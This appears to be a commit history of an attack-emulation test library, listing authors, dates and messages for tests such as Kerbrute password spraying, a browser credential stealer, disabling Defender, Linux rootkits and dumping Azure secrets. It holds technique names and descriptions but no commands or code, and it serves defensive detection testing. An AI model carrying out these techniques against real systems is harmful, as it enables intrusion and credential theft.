Carrie Roberts efe7d48f59 typo fix (#2120) 2022-09-06 20:36:00 -06:00
Atomic Red Team doc generator 3a6a696786 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-06 19:14:38 +00:00
Atomic Red Team GUID generator 7a85f76d9b Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-06 19:14:32 +00:00
tccontre 1d9157ebdc Update T1124.yaml (#2115)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-06 13:14:04 -06:00
Atomic Red Team doc generator 5d66713f18 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-06 19:00:19 +00:00
Atomic Red Team GUID generator 615bd7209c Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-06 19:00:13 +00:00
Ján Trenčanský 356c79d827 T1553.005 ISO with LNK file (#2106)
* T1553.005 ISO with LNK file test

* Fix path issues
2022-09-06 12:59:45 -06:00
Atomic Red Team doc generator 10a9459b6b Generated docs from job=generate-docs branch=master [ci skip] 2022-09-01 17:47:36 +00:00
Atomic Red Team GUID generator ff5e8e9415 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-01 17:47:29 +00:00
TomFord3 09c2c4f212 T1110.01 Kerbrute Brute User (#2114)
Co-authored-by: Tom Hagan <thagan@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-01 11:46:42 -06:00
Atomic Red Team doc generator 3c034eb6c5 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-01 17:44:35 +00:00
Atomic Red Team GUID generator 9e1ce919de Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-01 17:44:27 +00:00
Jathan-McDaniel 9c1bbd6b6e Kerbrute - userenum (#2113)
Co-authored-by: McDaniel <jmcdan@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-01 11:43:50 -06:00
Atomic Red Team doc generator e0922ea1b6 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-01 17:40:45 +00:00
Atomic Red Team GUID generator bece6e8835 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-01 17:40:38 +00:00
TomFord3 472456b6c8 T1110.04 Kerbrute Credential Stuffing (#2112)
* T1110.04 Kerbrute Credential Stuffing

* Update T1110.004.yaml

Co-authored-by: Tom Hagan <thagan@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-01 11:40:08 -06:00
Atomic Red Team doc generator 7e8b8364df Generated docs from job=generate-docs branch=master [ci skip] 2022-09-01 17:37:15 +00:00
Atomic Red Team GUID generator 93377544a0 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-01 17:37:10 +00:00
Michael Haag f2d55e2799 T1218.001 - HH Decompile CHM File (#2109)
* Updated T1556.002 - PW Filter

* Update T1556.002.yaml

* Update T1556.002.yaml

* HH Decompile

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-01 11:36:23 -06:00
Atomic Red Team doc generator 2aab95c4e4 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-01 17:30:09 +00:00
Atomic Red Team GUID generator 684669b8b7 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-01 17:30:01 +00:00
Michael Haag 98fb4c74af Disable Defender via PowerShell (#2110)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-09-01 11:29:22 -06:00
Atomic Red Team doc generator d2f318c7c2 Generated docs from job=generate-docs branch=master [ci skip] 2022-09-01 17:16:18 +00:00
Atomic Red Team GUID generator 3b2809021e Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-09-01 17:16:11 +00:00
TomFord3 44bb4bbada T1110.003 Kerbrute Password Spray (#2111)
* T1110.003 Kerbrute Password Spray

* Update T1110.003.yaml

Co-authored-by: Tom Hagan <thagan@nti.local>
2022-09-01 11:15:40 -06:00
Atomic Red Team doc generator 2d9e41f1bf Generated docs from job=generate-docs branch=master [ci skip] 2022-08-31 20:23:43 +00:00
Atomic Red Team GUID generator dab5a0fbaf Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-31 20:23:34 +00:00
Jathan-McDaniel cbba249a09 BadPotatoTest (#2108)
Co-authored-by: McDaniel <jmcdan@NTI.local>
2022-08-31 14:22:58 -06:00
Atomic Red Team doc generator 440e46542a Generated docs from job=generate-docs branch=master [ci skip] 2022-08-30 23:20:27 +00:00
frack113 0d262d6dfb Fix windows Logoff (#2105) 2022-08-30 18:19:43 -05:00
Atomic Red Team doc generator 380177a075 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-29 18:22:08 +00:00
frack113 0f12635c82 Fix missing quote (#2104)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-29 12:20:57 -06:00
Atomic Red Team doc generator c4b097e918 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-29 18:20:24 +00:00
Michael Haag 5419dacb9d Updated T1556.002 - PW Filter (#2103)
* Updated T1556.002 - PW Filter

* Update T1556.002.yaml

* Update T1556.002.yaml

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-29 12:19:49 -06:00
Atomic Red Team doc generator e21f0852ec Generated docs from job=generate-docs branch=master [ci skip] 2022-08-29 16:29:11 +00:00
frack113 1aa3a98488 Fix windows path (#2102)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-29 10:28:35 -06:00
Atomic Red Team doc generator 4aec314bf0 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-29 16:24:25 +00:00
frack113 521378f17e Fix prereg test nimgrab (#2100) 2022-08-29 10:23:40 -06:00
Tuzi c080e31431 T1201_Improved 2022-08-26 12:59:37 -05:00
Atomic Red Team doc generator 28d190330f Generated docs from job=generate-docs branch=master [ci skip] 2022-08-26 02:29:12 +00:00
Conor Richard e0a7466075 Fixing legend values to match new color value range of 1 to 10+ (#2098)
* Adding changes to address issue #1141: Improving the ATT&CK Layer to make it a one stop shop

* Generated new example files with updates.

* Revert "Adding changes to address issue #1141: Improving the ATT&CK Layer to make it a one stop shop"

This reverts commit aa474653db79112d58cc4f5bb12d4f70cf6811cd.

Reverting to remove the generated example files.

* Reverting JSON files

* Changed color gradient back to two colors and set min to 0 and max to 10

* Fixed the legend to reflect the new color and scale of 1 to 10.
2022-08-25 21:28:41 -05:00
Atomic Red Team doc generator 0189add39f Generated docs from job=generate-docs branch=master [ci skip] 2022-08-25 19:09:53 +00:00
Atomic Red Team GUID generator f8ea3fad88 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-25 19:09:46 +00:00
lucasRiley d969f13385 T1555.003 Browser stealer (#2090)
* T1555.003 Browser stealer

* Update T1555.003.yaml

* Update T1555.003.yaml

Co-authored-by: Riley <lriley@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-25 13:09:12 -06:00
Atomic Red Team doc generator 30362da3b6 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-24 22:36:37 +00:00
Conor Richard 83e9c279b1 Adding changes to address #1141 new feature request (#2093)
* Adding changes to address issue #1141: Improving the ATT&CK Layer to make it a one stop shop

* Generated new example files with updates.

* Revert "Adding changes to address issue #1141: Improving the ATT&CK Layer to make it a one stop shop"

This reverts commit aa474653db79112d58cc4f5bb12d4f70cf6811cd.

Reverting to remove the generated example files.

* Reverting JSON files

* Changed color gradient back to two colors and set min to 0 and max to 10
2022-08-24 16:35:55 -06:00
Atomic Red Team doc generator 50b007142a Generated docs from job=generate-docs branch=master [ci skip] 2022-08-24 20:30:40 +00:00
Atomic Red Team GUID generator 5c6b0650b0 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-24 20:30:32 +00:00
Tanner Humphreys 497b2111b8 T1219 update (#2083)
* Added UltraViewer - RAT Extension

* Added UltraViewer - RAT Extension

* Update T1219.yaml

* Update T1219.yaml

* spaces and prereq fixes

* Update T1219.yaml

Co-authored-by: Tanner Humphreys <thumphreys@nti.local>
Co-authored-by: Tanner Humphreys <Tanner.Humphreys@Walmart.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-24 14:29:57 -06:00
Atomic Red Team doc generator c9891800d0 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-23 20:55:01 +00:00
Atomic Red Team GUID generator c8bd710246 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-23 20:54:54 +00:00
Michael Haag 032ada3b4a "New Atomic - T1547.008" (#2097)
* "New Atomic - T1547.008"

* github perm link

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-23 14:54:20 -06:00
Atomic Red Team doc generator 2833db2af8 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-23 19:58:50 +00:00
Atomic Red Team GUID generator 2bf890ed7e Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-23 19:58:44 +00:00
Bhavin Patel 0c60237d08 Merge pull request #2082 from Leomon5/patch-7
Create T1528 Test 1 - Dump All Azure Key Vaults with Microburst
2022-08-23 14:58:16 -05:00
Bhavin Patel 8239261f78 Merge branch 'master' into patch-7 2022-08-23 14:48:43 -05:00
Leo Verlod 015efdfb9b Update T1528.yaml 2022-08-23 01:36:41 -05:00
Leo Verlod a37b0492e7 Update T1528.yaml 2022-08-23 01:33:19 -05:00
Leo Verlod 96cad990b6 Update T1528.yaml 2022-08-23 01:32:19 -05:00
Atomic Red Team doc generator 7cf4a7ba78 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-22 16:51:58 +00:00
Atomic Red Team GUID generator 7012dbbdbf Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-22 16:51:52 +00:00
Kyaw-Pyiyt-Htet-Mikoyan baae936580 Mikoyan dee patch 1 (#2095)
* Update T1105.yaml

nimgrab.exe from nim programming package for windows can be used to download file.

* Update T1105.yaml

Update on nimgrab.exe execution information

* Update T1105.yaml

update the adjustment of nimgrab.exe block structure

* Update T1105.yaml

error fixed, nimgrab.exe

* Update T1105.yaml

error fixed, nimgrab.exe

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-22 10:51:28 -06:00
Atomic Red Team doc generator 005d002f30 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-22 16:48:13 +00:00
Atomic Red Team GUID generator 210d479e7d Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-22 16:48:07 +00:00
Leo Verlod 25eefc2e8e Create T1592.002.yaml (#2094)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-22 10:47:42 -06:00
Atomic Red Team doc generator 0c53fc2bb8 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-22 15:21:48 +00:00
Atomic Red Team GUID generator 77f914c1bc Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-22 15:21:35 +00:00
Bhavin Patel 77ac37e123 AWS - Retrieve EC2 Password Data using stratus (#2088)
* new atomic to retreieve passowrd data

* update

* updates

* remove binnary

Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-08-22 09:21:01 -06:00
Atomic Red Team doc generator 7d663aee1b Generated docs from job=generate-docs branch=master [ci skip] 2022-08-22 14:53:14 +00:00
frack113 c020e66a8f Remove invalid command (#2092)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-22 08:52:34 -06:00
Jose Enrique Hernandez c57a3be79f Merge branch 'master' into 2080 2022-08-22 10:50:51 -04:00
Atomic Red Team doc generator 9ddc04fc65 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-22 14:49:19 +00:00
Atomic Red Team GUID generator 1be138d1d3 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-22 14:49:12 +00:00
BlueDragon-01 3283daa547 Update T1134.001.yaml (#2091)
Launches the NSudo executable for a short period of time and then exits.  NSudo download observed after maldoc execution. NSudo is a system management tool for advanced users to launch programs with full privileges.
2022-08-22 08:48:45 -06:00
Bhavin Patel 6e78662177 Merge branch 'master' into patch-7 2022-08-22 09:43:17 -05:00
Atomic Red Team doc generator 40b77d6380 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-19 14:59:44 +00:00
Atomic Red Team GUID generator b29654f477 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-19 14:59:37 +00:00
Chron ccb625a700 T1547.015 Added (#2086)
Co-authored-by: Tuzi <Mtuzi@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-19 09:59:08 -05:00
Atomic Red Team doc generator 7708d78478 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-19 14:51:17 +00:00
frack113 db63ab2ced Fix space in key name (#2087) 2022-08-19 09:50:32 -05:00
Jose Enrique Hernandez 6590c9fcf0 Merge branch 'master' into 2080 2022-08-18 13:12:30 -04:00
Bhavin Patel 638a525d56 Merge branch 'master' into patch-7 2022-08-18 10:08:09 -07:00
Atomic Red Team doc generator d8c6b653b4 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-17 21:30:09 +00:00
Atomic Red Team GUID generator bf0c945de8 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-17 21:30:01 +00:00
Michael Haag a93030e394 Linux and Windows (#2085)
* Linux and Windows

* Update T1115.yaml
2022-08-17 15:29:33 -06:00
Atomic Red Team doc generator 1bf4526ffd Generated docs from job=generate-docs branch=master [ci skip] 2022-08-17 18:33:58 +00:00
Atomic Red Team GUID generator daa1670afa Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-17 18:33:50 +00:00
Chron 151842d4f6 T1574.002 Dotnet Startup Hook Added (#2084)
* T1574.002 Dotnet Startup Hook Added

* Update T1574.002.yaml

Fixed .Net prereq command.
Added prereq for preloader.
Added blog post in description.

Co-authored-by: Tuzi <Mtuzi@NTI.local>
2022-08-17 12:33:03 -06:00
Leo Verlod 8bd95a1db8 Update T1528.yaml 2022-08-16 18:38:42 -05:00
Leo Verlod b4d74dc261 Create T1528 Test 1 2022-08-16 18:35:14 -05:00
Atomic Red Team doc generator bff241be74 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-15 22:58:06 +00:00
Atomic Red Team GUID generator 5c41535fb6 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-15 22:57:59 +00:00
Bhavin Patel 6e842aa2e4 Merge pull request #2076 from cyberbuff/T1619
T1619 Cloud Storage Object Discovery
2022-08-15 15:57:30 -07:00
Bhavin Patel 01cbe3908b Merge branch 'master' into T1619 2022-08-15 14:58:23 -07:00
Atomic Red Team doc generator 4151947be3 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-15 21:58:11 +00:00
Atomic Red Team GUID generator bce192b221 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-15 21:58:05 +00:00
Bhavin Patel 3de8e594e0 Merge pull request #2077 from cyberbuff/T1530
T1530: Anonymous Access to AWS S3
2022-08-15 14:57:36 -07:00
Bhavin Patel f48c0b4000 Merge branch 'master' into T1530 2022-08-15 14:55:00 -07:00
ketumbra cf160326a8 fixes #2080 2022-08-15 15:29:56 +01:00
Atomic Red Team doc generator c8a23d1175 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-12 20:51:31 +00:00
Nathaniel Beckstead a253441edd fix SSHD PAM keylogger command (#2078)
Co-authored-by: Nathaniel <nathaniel@scriptingis.life>
2022-08-12 14:50:53 -06:00
Hare Sudhan afc471d7bc T1530 added
policy.json added

dump s3 contents
2022-08-11 02:20:23 -05:00
Hare Sudhan 7fc8d47600 T1619 added 2022-08-11 00:40:18 -05:00
Hare Sudhan 8033113bba Generate Indexes for Cloud Atomics (#2075)
* added cloud indexes

* adding indexes for other platoforms
2022-08-10 13:09:00 -06:00
Atomic Red Team doc generator e48781e24f Generated docs from job=generate-docs branch=master [ci skip] 2022-08-10 01:06:12 +00:00
Atomic Red Team GUID generator 5afdde90a7 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-10 01:06:06 +00:00
arames13 fb03ba8f32 Update T1083 to add new test (#2071)
* Update T1083 to add new test

* typo fix

* Update T1083.yaml

- Have a prereq to fetch the tool from the releases page of the original author
- remove the cleanup command that deletes the tool

* some updates

Modified the name and description. Updated the prereq commands to handle error cases or missing /bin folder

* Delete DirLister.exe.config

* Delete DirLister.Core.dll

* Delete DirLister.exe

Co-authored-by: anupama ramesh <aramesh@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-09 19:05:43 -06:00
Atomic Red Team doc generator e4608f8be2 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-09 23:17:27 +00:00
Atomic Red Team GUID generator 8f8d37d1a2 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-09 23:17:22 +00:00
Bhavin Patel baf4e019f0 Merge pull request #2068 from Leomon5/patch-6
Adding T1552.005 Test 2 - Azure - Dump Azure Instance Metadata from Virtual Machines
2022-08-09 16:16:54 -07:00
Bhavin Patel 9f6184ea90 Merge branch 'master' into patch-6 2022-08-09 16:06:16 -07:00
Atomic Red Team doc generator 464291478b Generated docs from job=generate-docs branch=master [ci skip] 2022-08-08 21:09:36 +00:00
ruyek-git 2b2d75f33c Update T1078.003.yaml (#2073)
* Update T1078.003.yaml

changed the "elevation_required" attribute to true on this test T1078.003 test number 4

* add true for test 3 as well

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-08 15:09:04 -06:00
Atomic Red Team doc generator 8330cf667d Generated docs from job=generate-docs branch=master [ci skip] 2022-08-08 16:51:39 +00:00
Keith McCammon 38d6fe84a9 Update t1059 006 (#2072)
* Update T1059.006.yaml

Remove ATT&CK technique description from test description.

* Update T1059.006.yaml

Clarify description to focus on the test, while still referencing the vulnerability and exploitation reporting by Volexity.
2022-08-08 10:50:46 -06:00
Atomic Red Team doc generator 198e6f084a Generated docs from job=generate-docs branch=master [ci skip] 2022-08-03 15:19:44 +00:00
Atomic Red Team GUID generator 2add7e0c29 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-03 15:19:38 +00:00
arames13 4dbf79a202 update T1562.001 (#2064)
Co-authored-by: anupama ramesh <aramesh@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-03 09:19:14 -06:00
Jose Enrique Hernandez 6d0628b6c8 adding demo gif (#2051)
* adding demo gif

* updated readme

* removed from readme added to wiki

Co-authored-by: Bhavin Patel <bhavin.j.patel91@gmail.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-03 09:18:01 -06:00
Atomic Red Team doc generator 11a0211a1d Generated docs from job=generate-docs branch=master [ci skip] 2022-08-03 15:15:40 +00:00
Atomic Red Team GUID generator f58ca7f524 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-03 15:15:33 +00:00
arames13 d76fdbe95f T1484.001 update (#2067)
* T1562.006-update

* T1484.001

* add full technique name

Co-authored-by: anupama ramesh <aramesh@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-03 09:14:59 -06:00
Atomic Red Team doc generator 62adbafbdc Generated docs from job=generate-docs branch=master [ci skip] 2022-08-03 15:06:50 +00:00
Atomic Red Team GUID generator 238bc527b7 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-03 15:06:43 +00:00
arames13 b31a0b6484 T1562.006-update (#2066)
Co-authored-by: anupama ramesh <aramesh@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-03 09:06:14 -06:00
Atomic Red Team doc generator a537122c75 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-03 15:05:29 +00:00
Atomic Red Team GUID generator a48875872b Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-03 15:05:22 +00:00
arames13 cbae16ede1 T1562.004-update (#2069)
Co-authored-by: anupama ramesh <aramesh@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-03 09:04:50 -06:00
Atomic Red Team doc generator e457f1c340 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-03 15:03:00 +00:00
lucasRiley f00731cc91 T1218.011 (#2070)
Co-authored-by: Riley <lriley@NTI.local>
2022-08-03 09:02:25 -06:00
Atomic Red Team doc generator 85ad8c995d Generated docs from job=generate-docs branch=master [ci skip] 2022-08-02 21:07:36 +00:00
Atomic Red Team GUID generator de4c70570b Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-02 21:07:30 +00:00
Jose Enrique Hernandez 1995744206 Merge pull request #2052 from rc-GeorgeAllen/linux-rootkits
Linux rootkits
2022-08-02 17:07:00 -04:00
Jose Enrique Hernandez 08004249a2 Merge branch 'master' into linux-rootkits 2022-08-02 17:05:07 -04:00
Atomic Red Team doc generator 4ef20f741f Generated docs from job=generate-docs branch=master [ci skip] 2022-08-02 01:21:14 +00:00
Atomic Red Team GUID generator dc7e22ac62 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-02 01:21:07 +00:00
Bhavin Patel fa14d8f057 Merge pull request #2054 from redcanaryco/staratus_defense_evasion
3 new aws stratus atomics
2022-08-01 18:20:38 -07:00
Leo Verlod 329a9d75b6 Adding T1552.005 Test 2 - Azure - Dump Azure Instance Metadata from Virtual Machines 2022-08-01 20:14:13 -05:00
Michael Haag b4e15fbd86 fixes 2022-08-01 18:42:31 -06:00
patel-bhavin c0a4b9d05a more uuid 2022-08-01 15:34:06 -07:00
patel-bhavin 23c376e20c ugh 2022-08-01 15:29:34 -07:00
patel-bhavin b830b6df56 uid 2022-08-01 15:08:30 -07:00
patel-bhavin 40ceeff8d9 uuid 2022-08-01 15:05:19 -07:00
patel-bhavin 4ca10f3e5f Merge branch 'staratus_defense_evasion' of github.com:redcanaryco/atomic-red-team into staratus_defense_evasion 2022-08-01 15:01:16 -07:00
patel-bhavin 77a5db8ead vaslidate atomics 2022-08-01 15:01:08 -07:00
Bhavin Patel 9c43327f23 Merge branch 'master' into staratus_defense_evasion 2022-08-01 14:50:20 -07:00
patel-bhavin 6a1b554579 naming 2022-08-01 14:45:09 -07:00
patel-bhavin d888deb5a0 conflicts 2022-08-01 14:43:49 -07:00
Atomic Red Team doc generator 75d1f18790 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-01 21:38:41 +00:00
Atomic Red Team GUID generator 93133c0fc5 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-01 21:38:34 +00:00
Bhavin Patel 76f08b5351 Merge pull request #2061 from gowthamarajr/atomics_T1562_008
Add 2 New Atomics - T2562.008
2022-08-01 14:38:00 -07:00
patel-bhavin 89019ac27e uuid 2022-08-01 14:37:29 -07:00
Bhavin Patel e482e532bf Merge branch 'master' into atomics_T1562_008 2022-08-01 14:29:02 -07:00
Atomic Red Team doc generator 423d25021b Generated docs from job=generate-docs branch=master [ci skip] 2022-08-01 21:14:26 +00:00
tenillekay a6edd37f05 Update T1021.006.yaml (#2063)
Updated Test #2 to make it more complete.
2022-08-01 15:13:53 -06:00
Atomic Red Team doc generator 4e0637e706 Generated docs from job=generate-docs branch=master [ci skip] 2022-08-01 16:52:24 +00:00
Atomic Red Team GUID generator e3b3dc6c03 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-08-01 16:52:17 +00:00
Panos Moullotos 4ab943e73b New T1105 test based on open issue (#2060)
* Create T1105-download-file.vbs

* Added 2 tests to T1105 based on open issue

* Update T1105.yaml

* remove duplicate

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-08-01 10:51:46 -06:00
George Allen 5a33670733 update libprocesshider; adds diamorphine 2022-08-01 16:14:06 +00:00
gowthamarajr 614a715da8 Update 1562.008.yml 2022-07-30 17:37:06 -04:00
gowthamarajr b33bcb6cd4 Update T1562.008 2022-07-30 17:28:51 -04:00
gowthamarajr 7ac7517321 Update T1562.008
Update T1562.008 by adding AWS CloudWatch Log Group Deletes & AWS CloudWatch Log Stream Deletes
2022-07-30 17:18:08 -04:00
Atomic Red Team doc generator 3a5209a4fc Generated docs from job=generate-docs branch=master [ci skip] 2022-07-29 22:32:00 +00:00
Atomic Red Team GUID generator 023e149ac5 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-29 22:31:53 +00:00
lucasRiley e712150c21 T1218.011 Improvement (#2058)
Co-authored-by: Riley <lriley@NTI.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-29 16:31:23 -06:00
Atomic Red Team doc generator 6f92864b88 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-29 15:14:22 +00:00
Atomic Red Team GUID generator 5849c1516b Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-29 15:14:16 +00:00
tccontre f6b385f860 Update T1529.yaml (#2055)
* Update T1529.yaml

* add malware example to description

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-29 09:13:53 -06:00
Atomic Red Team doc generator 8d57cd72e5 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-29 15:07:16 +00:00
Atomic Red Team GUID generator 0b80c61208 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-29 15:07:10 +00:00
Jacques Decarie c343036e0c T1546.015 COM hijacking via TreatAs (#2050)
* adding TreatAs

* removing sct_path

* fixing executor name

* fixing references

* fixing references

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-29 09:06:38 -06:00
tccontre b05d6193da Windows camera info gathering (#2056)
* Create T1592.001.md

* Create T1592.001.yml
2022-07-29 09:02:55 -06:00
patel-bhavin 11ebaedddf uuid 2022-07-28 17:22:54 -07:00
patel-bhavin 0e99122ced update to cleaanup 2022-07-28 16:28:20 -07:00
Atomic Red Team doc generator b13fb3c35e Generated docs from job=generate-docs branch=master [ci skip] 2022-07-28 21:29:24 +00:00
TaintedHorizon a43555eab0 update dependencies (#2053)
Test does not currently execute remotely because ppid-spoof.ps1 does not get copied remotely.
2022-07-28 15:28:41 -06:00
patel-bhavin e88796c915 rm stratus 2022-07-28 13:12:08 -07:00
George Allen 1a74f3c8fd adds libprocesshider.so for ld.so.preload rootkit behavior test 2022-07-28 16:26:12 +00:00
patel-bhavin 0b298b2188 3 new aws stratus atomics 2022-07-27 16:36:03 -07:00
Atomic Red Team doc generator 8a226086a6 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-27 20:15:26 +00:00
Atomic Red Team GUID generator 983626faae Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-27 20:15:20 +00:00
Bhavin Patel db6284063a Merge pull request #2048 from Leomon5/patch-5
Adding T1526 Test 1 - Azure - Dump Subscription Data with MicroBurst
2022-07-27 13:14:51 -07:00
Bhavin Patel 9601cdbf58 Merge branch 'master' into patch-5 2022-07-27 13:09:33 -07:00
Atomic Red Team doc generator dfebe2e36e Generated docs from job=generate-docs branch=master [ci skip] 2022-07-27 19:45:08 +00:00
Atomic Red Team GUID generator 93d582a214 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-27 19:45:02 +00:00
Bhavin Patel 79286ddee5 Disable CloudTrail Logging Through Event Selectors via Stratus (#2040)
* detonate via stratus

* desc update

* Update T1562.008.yaml

Co-authored-by: Jose Enrique Hernandez <josehelps@gmail.com>
Co-authored-by: Michael Haag <5632822+MHaggis@users.noreply.github.com>
2022-07-27 13:44:00 -06:00
Bhavin Patel 21b907e718 Merge branch 'master' into patch-5 2022-07-26 10:48:02 -07:00
Atomic Red Team doc generator e69a037e1c Generated docs from job=generate-docs branch=master [ci skip] 2022-07-26 17:40:11 +00:00
Atomic Red Team GUID generator 158fd1f7a9 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-26 17:40:05 +00:00
Bhavin Patel 974ae50a12 Merge pull request #2046 from Leomon5/patch-4
Adding T1552.005 Test 1 - Search Azure AD User Attributes for Passwords
2022-07-26 10:39:38 -07:00
Bhavin Patel 7324595e26 Merge branch 'master' into patch-4 2022-07-26 10:34:56 -07:00
Leo Verlod 7efbda6972 Adding T1526 Test 1 2022-07-26 03:54:34 -05:00
Atomic Red Team doc generator ea2ebf426b Generated docs from job=generate-docs branch=master [ci skip] 2022-07-25 20:57:48 +00:00
Atomic Red Team GUID generator c13f88d9b7 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-25 20:57:41 +00:00
masonharrell f42dc76aba T1574.008 (#2038)
Co-authored-by: Mason Harrell <mharrell@nti.local>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-25 14:57:13 -06:00
Atomic Red Team doc generator c42913486b Generated docs from job=generate-docs branch=master [ci skip] 2022-07-25 20:56:32 +00:00
Dan cf612cdfa9 Update T1552.004.yaml, Linux tests (#2042)
redirect find errors

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-25 14:56:04 -06:00
Atomic Red Team doc generator 5ec9b7c317 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-25 20:54:13 +00:00
Atomic Red Team GUID generator e935cc7fe5 Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-25 20:54:06 +00:00
dwhite9 e4945a7c50 T1569.002 - Added Atomic to emulate BlackCat malware using embedded PsExec binary (#2043)
* Added Atomic to emulate BlackCat malware using embedded PsExec binary
(placed in /bin dir)

* add blog links

Co-authored-by: Daniel White <d0w019h@homeoffice.wal-mart.com>
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-25 14:53:35 -06:00
Atomic Red Team doc generator d63433c2c7 Generated docs from job=generate-docs branch=master [ci skip] 2022-07-25 20:45:40 +00:00
Atomic Red Team GUID generator 7cfc9b3bef Generate GUIDs from job=generate-docs branch=master [skip ci] 2022-07-25 20:45:34 +00:00
Panos Moullotos 2e852f836a Updated T1105.yaml with new certreq test (#2044)
Inspired by https://lolbas-project.github.io/lolbas/Binaries/Certreq/

Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
2022-07-25 14:45:05 -06:00
alireza 27482c6076 fix: broken urls for embedded files and test script (#2045)
Co-authored-by: Carrie Roberts <clr2of8@gmail.com>
